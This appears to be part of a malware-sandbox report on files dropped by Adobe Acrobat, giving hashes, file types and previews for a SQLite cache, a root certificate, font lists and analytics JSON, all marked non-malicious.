Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 16, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 16
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.444665007365956
Encrypted:	false
SSDEEP:	384:CeLci5tTiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:jgs3OazzU89UTTgUL
MD5:	1C2B1DFE702472D94F881D14D1307E9F
SHA1:	BA6E4945BA3421ED4769B374946D322AFC11D9EF
SHA-256:	BD66D1BA3B58B0131640B6E92FD821159394C8B07AC6D90C06A54383DAAC73A9
SHA-512:	5D7DCDA79831282A563C9BCA84E4243B26A16FC73A66BE0077DE1D388673A4BC82282A5F3DC36A91BD7BBBF0FC7EEB7BD3D46C181B02FE841E3369D57DEF3D3E
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2150918191886166
Encrypted:	false
SSDEEP:	24:7+tQmnuwKRqL7zkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9M4:7MBnCRq/mFTIF3XmHjBoGGR+jMz+LhJ
MD5:	8EE0B9228E577D714CD4511A9F8A2844
SHA1:	98261FB18DC6688188AB62BEEDD008117DFF6E00
SHA-256:	D8C6399D79FBFD75527E5A7142801AE33B33A6A9C116EE5C83CBCFF3289597B3
SHA-512:	33C2E0CEB1D7F3EA331AA62662C90E4AD56F82F73950A8658F5B40015B5720ACEFF6EDD76EF3DE724D0635D6A70F1D563257777CCC81693591C965DEA9AA69B5
Malicious:	false
Preview:	.... .c.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7529698674325394
Encrypted:	false
SSDEEP:	3:kkFklNzBapl/tfllXlE/HT8ksObNNX8RolJuRdxLlGB9lQRYwpDdt:kKVL/eT8UpNMa8RdWBwRd
MD5:	17C4AC714F4148363ECB4E9BC63D1FEE
SHA1:	12B2EF43D9F651666B019E518F782600DF29740E
SHA-256:	2E28282CCDD792A28FEA3986B24345E5999FEF73F9AE1D55FCE5DF17B8E2B6C5
SHA-512:	5DD506EC197ED3C429737DF4BD56C2F8A7345D6F32DCE48236412CA883C547B9442DBD387327A23CDD5D76CD211943702BCE29320DA8C492C4D268EA55B6B166
Malicious:	false
Preview:	p...... ........>\H$.c..(....................................................... ..........W.....k..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.1028

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.1028

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.3616465342832
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSmz+h40kVoZcg1vRcR0YwyydoAvJM3g98kUwPeUkwRe9:YvXKXvz+hRZc0vCGMbLUkee9
MD5:	AF85605095C784A4CF91DD225512F9B3
SHA1:	A4266982B46E33C287A3EA32EABE9B06B0C949A7
SHA-256:	071677E34BE954D32107A083D48A3A83BB74E31056EB33C7FCAE605C37EEF57F
SHA-512:	6947D06ABB51082E60A174AD3137BE457AC42F0AE9D7356F30D96F49BFE0010DA899A70BDA35A64F35FA3D2CA315F952083718CF2DA2B62AEF93C29B58CC3B53
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50fd1901-37ed-44ce-9d3e-9e81e4bbd262","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736746414170,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.309090402527132
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSmz+h40kVoZcg1vRcR0YwyydoAvJfBoTfXpnrPeUkwRe9:YvXKXvz+hRZc0vCGWTfXcUkee9
MD5:	6655A65015879CC040660C8D6C1F012C
SHA1:	424DB8406996EAAFECFC021932D92EC3BDDC3E75
SHA-256:	A1B276D4C73EA39CCE7B469856B48CA0C0342B246F5B9BFAE8F6E5A6FFA14234
SHA-512:	F1FD47CCB12D8D9435D78007566041F8FCF10223FC1F443E2D9487A177CC48B7B86BA05891DBD56BD4F1CDB24BDC856C3A7A9EA13686BE8CB868C91F48D05E04
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50fd1901-37ed-44ce-9d3e-9e81e4bbd262","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736746414170,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.288862044234795
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSmz+h40kVoZcg1vRcR0YwyydoAvJfBD2G6UpnrPeUkwRe9:YvXKXvz+hRZc0vCGR22cUkee9
MD5:	537B45F4C12AB53E3644D5121CF16F6A
SHA1:	55F3F42217F19D4538636838C3AFB7D8E9F8C825
SHA-256:	C41145F21901C3C17DABB9DE5EE5DDE2F6BC3E389C4D3E1860ED256D14F34C5A
SHA-512:	407F06739D8E95877D0849C8065B520E28119EF1F8D3FD9585FFE234D1DA386FCF2547B9B2CC01DC8848DD1009DC0A4C217DE578ED8CA89ABD521A0CBEFE8EAB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50fd1901-37ed-44ce-9d3e-9e81e4bbd262","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736746414170,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.3485968000561135
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSmz+h40kVoZcg1vRcR0YwyydoAvJfPmwrPeUkwRe9:YvXKXvz+hRZc0vCGH56Ukee9
MD5:	8EDA41F5599A3A416886F4B7A4A80712
SHA1:	0E1AD9F437D077DBA2AC49663B8633685BD4C9AA
SHA-256:	911BD0408ABEEB8F60D7B1A9DAF4220A9E85A174303DCEC5EC939BAA22A5B60A
SHA-512:	817439EDB7FE7338972CC51EEE6DB6DCC854B9C8FE55E0E69B4A6437177305FB187465EA4E0FE54B59E9ABE915AB94D476C766BD4BE7805EBA8D9F2BB4D5C223
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50fd1901-37ed-44ce-9d3e-9e81e4bbd262","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736746414170,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.684969466997196
Encrypted:	false
SSDEEP:	24:Yv6Xb+hRzv/pLgE9cQx8LennAvzBvkn0RCmK8czOCCS5:Yv/FHhgy6SAFv5Ah8cv/5
MD5:	612979BE9167B052F26D741E73F85AB4
SHA1:	CCC3FDD3D5D7CC6533D6E1BE320BC5FFEE0B8640
SHA-256:	62D736DCFE44A36AB38C02AC6D7B62FF920F357B39317DAC5397274DB91FE41A
SHA-512:	0F23E14F315E5F4E52B1362DE83139925AFACDE9A2164CD7C539D292CB33B0E3C04807D8C00DBED841FD2068B1B4155878A2FB66C2750F4EE9876B3DB3BDEDDF
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50fd1901-37ed-44ce-9d3e-9e81e4bbd262","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736746414170,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2917061908523895
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSmz+h40kVoZcg1vRcR0YwyydoAvJf8dPeUkwRe9:YvXKXvz+hRZc0vCGU8Ukee9
MD5:	C7B5D6497469E421015595CFB5D56149
SHA1:	00478F92432CB114FCBA6CE48A5E99E734E239CB
SHA-256:	12387644859264902F34E36F8DABA26848735C1D7ADCC5C50DC1B32BCB34C308
SHA-512:	15ABBC73FD37EDB9DE2BC89DCD68741CCB89C463EC9A5F007E51A8908CA1951CD07D6FF7B2FF678D511ADB48D82944F63C87C618DFDB80F812C19099B07ED29C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50fd1901-37ed-44ce-9d3e-9e81e4bbd262","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736746414170,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.29427148707812
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSmz+h40kVoZcg1vRcR0YwyydoAvJfQ1rPeUkwRe9:YvXKXvz+hRZc0vCGY16Ukee9
MD5:	CF9B0F101638A2B4BBE4409FD92301F2
SHA1:	235E481E60CC64EA3C51F1016E48A22A8AC404DC
SHA-256:	C266EF28EB0996E58EECFA83B871678BD212E76A702A3063011D9882E4BF8E1E
SHA-512:	D6C9E1CD67D2ACA53DFBFE722AABC7ACDA8DEFE4870D630FC62C806DB67F797F02E4E81AB579CDB4C306ED5EFAA67E5D618273799A54C930131226C1EB188C5B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50fd1901-37ed-44ce-9d3e-9e81e4bbd262","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736746414170,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.29895774571966
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSmz+h40kVoZcg1vRcR0YwyydoAvJfFldPeUkwRe9:YvXKXvz+hRZc0vCGz8Ukee9
MD5:	29B04AC2C86BA15CBC816992D1E2CC18
SHA1:	5A6630D6360B0E06C86032A5DCC7385FDA5AF3FA
SHA-256:	629C781EFE83431D9DDB76B554923D0E5D1FA83B8FD4C2E028651D386FBF1E6A
SHA-512:	0A0A7023DA21806474040E77A2826C47B91C532A1BF3B8F765458E3880E521576D73C207FEB14EEE894AB8762045251BD840B90A56E1EA87C34C9B9E993D9640
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50fd1901-37ed-44ce-9d3e-9e81e4bbd262","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736746414170,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.316723876188115
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSmz+h40kVoZcg1vRcR0YwyydoAvJfzdPeUkwRe9:YvXKXvz+hRZc0vCGb8Ukee9
MD5:	3F63A2A95310EBBEF887F08F4A4B90A1
SHA1:	D78C980C363B14CAC74A39331B3F280EEDF11105
SHA-256:	D984830A2920D8D733A0BA2EE310DFA8546E97BA6A3E838504AA1F515BD7977F
SHA-512:	1E9B13FC1CD21564AAC419E3FD6049A8B24D76088F9EB9C9A9F36AC7AB5028A056B16E9C19743B2C660E01EC4D64CCB643BB367FDEFE95B880ECB7BAFC54685B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50fd1901-37ed-44ce-9d3e-9e81e4bbd262","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736746414170,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.296706791531986
Encrypted:	false
SSDEEP:	6:YEQXJ2HXSmz+h40kVoZcg1vRcR0YwyydoAvJfYdPeUkwRe9:YvXKXvz+hRZc0vCGg8Ukee9
MD5:	FCC08E387E44B6BD127BDE45F6A065EA
SHA1:	73E629EC2982E41AFC913BB29CE319BFDA9922D5
SHA-256:	E0D52E314959C86C06188C40D73F4F7983E38D928654DD29A6BC288EC1094F49
SHA-512:	FC5AAD0E48773987A20D6ADB320EAE0982F38B864DA55453309AF14086605C02A034B3148E48369C5BAA922BB43146A58AA7A1D33BDC023228FF31D622BBBE96
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"50fd1901-37ed-44ce-9d3e-9e81e4bbd262","sophiaUUID":"BB455677-E4C2-45EB-A908-4974DBA96F4C"},"encodingScheme":true,"expirationDTS":1736746414170,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

